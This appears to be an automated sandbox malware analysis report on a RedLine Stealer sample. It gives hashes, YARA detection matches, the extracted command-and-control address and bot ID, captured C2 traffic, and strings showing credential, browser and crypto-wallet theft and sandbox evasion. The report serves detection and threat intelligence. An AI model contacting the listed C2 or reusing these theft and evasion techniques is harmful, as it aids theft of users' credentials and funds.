Edit tour

Windows Analysis Report
SW3uxM7BXI.exe

Overview

General Information

Sample name:	SW3uxM7BXI.exe renamed because original name is a hash value
Original sample name:	BC62AF43BEFE5B458C1E7B9E729D71AC.exe
Analysis ID:	1436259
MD5:	bc62af43befe5b458c1e7b9e729d71ac
SHA1:	4a099f2b18e35c276535987725fae6461156b728
SHA256:	60f193b86ba9ea22fd17a6c0446f795b81f9b3e7458d5d03d5d83a0eb6d08b7d
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SW3uxM7BXI.exe (PID: 6840 cmdline: "C:\Users\user\Desktop\SW3uxM7BXI.exe" MD5: BC62AF43BEFE5B458C1E7B9E729D71AC)

conhost.exe (PID: 4584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(%08)192207080962112986271363245700090061668218406782359533476819003707/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,10893976321763395982,15945396058884010625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["185.223.28.15:4483"], "Bot Id": "cheat"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SW3uxM7BXI.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
SW3uxM7BXI.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
SW3uxM7BXI.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
SW3uxM7BXI.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: SW3uxM7BXI.exe PID: 6840	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SW3uxM7BXI.exe PID: 6840	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: SW3uxM7BXI.exe PID: 6840	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x17aa6:$a4: get_ScannedWallets 0x1694d:$a5: get_ScanTelegram 0x1772f:$a6: get_ScanGeckoBrowsersPaths 0x155e0:$a7: <Processes>k__BackingField 0x12b13:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x14f14:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.SW3uxM7BXI.exe.3a0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.SW3uxM7BXI.exe.3a0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.SW3uxM7BXI.exe.3a0000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.SW3uxM7BXI.exe.3a0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 185.223.28.15:4483Content-Length: 137Expect: 100-continueConnection: Keep-Alive

Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.223.28.15
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000027F9000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.223.28.15:4483
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.223.28.15:4483/
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.223.28.15:4483t-
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000027F9000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002691000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: chromecache_93.4.dr	String found in binary or memory: http://www.broofa.com
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_99.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_99.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: SW3uxM7BXI.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: SW3uxM7BXI.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: chromecache_99.4.dr, chromecache_93.4.dr	String found in binary or memory: https://apis.google.com
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002803000.00000004.00000800.00020000.00000000.sdmp, SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chromecache_99.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_99.4.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_99.4.dr	String found in binary or memory: https://csp.withgoogle.com/csp/lcreport/
Source: chromecache_99.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: SW3uxM7BXI.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: chromecache_93.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_99.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_99.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: chromecache_99.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SW3uxM7BXI.exe, 00000000.00000002.1769927946.0000000003931000.00000004.00000800.00020000.00000000.sdmp, tmpFAF3.tmp.0.dr, tmpFB15.tmp.0.dr, tmpFB25.tmp.0.dr, tmpFB36.tmp.0.dr, tmpFB58.tmp.0.dr, tmpFB69.tmp.0.dr, tmpFB37.tmp.0.dr, tmpC84A.tmp.0.dr, tmpFB04.tmp.0.dr, tmpFB6A.tmp.0.dr, tmpFB47.tmp.0.dr, tmp2D96.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_99.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_99.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_93.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_93.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_93.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 23.3.84.131:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.3.84.131:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49758 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: SW3uxM7BXI.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: SW3uxM7BXI.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.SW3uxM7BXI.exe.3a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: SW3uxM7BXI.exe PID: 6840, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_00CEE7B0	0_2_00CEE7B0
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_00CEDC90	0_2_00CEDC90
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_05FD94C8	0_2_05FD94C8
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_05FD4468	0_2_05FD4468
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_05FD3720	0_2_05FD3720
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_05FDD3C8	0_2_05FDD3C8
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_05FD1210	0_2_05FD1210
Source: C:\Users\user\Desktop\SW3uxM7BXI.exe	Code function: 0_2_05FDD8D0	0_2_05FDD8D0

Source: SW3uxM7BXI.exe, 00000000.00000000.1584980895.00000000003A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1766929810.000000000098E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.00000000026D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\000004B0\\OriginalFilename vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\040904B0\\OriginalFilename vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\080904B0\\OriginalFilename vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe, 00000000.00000002.1767660256.0000000002985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs SW3uxM7BXI.exe
Source: SW3uxM7BXI.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs SW3uxM7BXI.exe

Source: SW3uxM7BXI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SW3uxM7BXI.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: SW3uxM7BXI.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
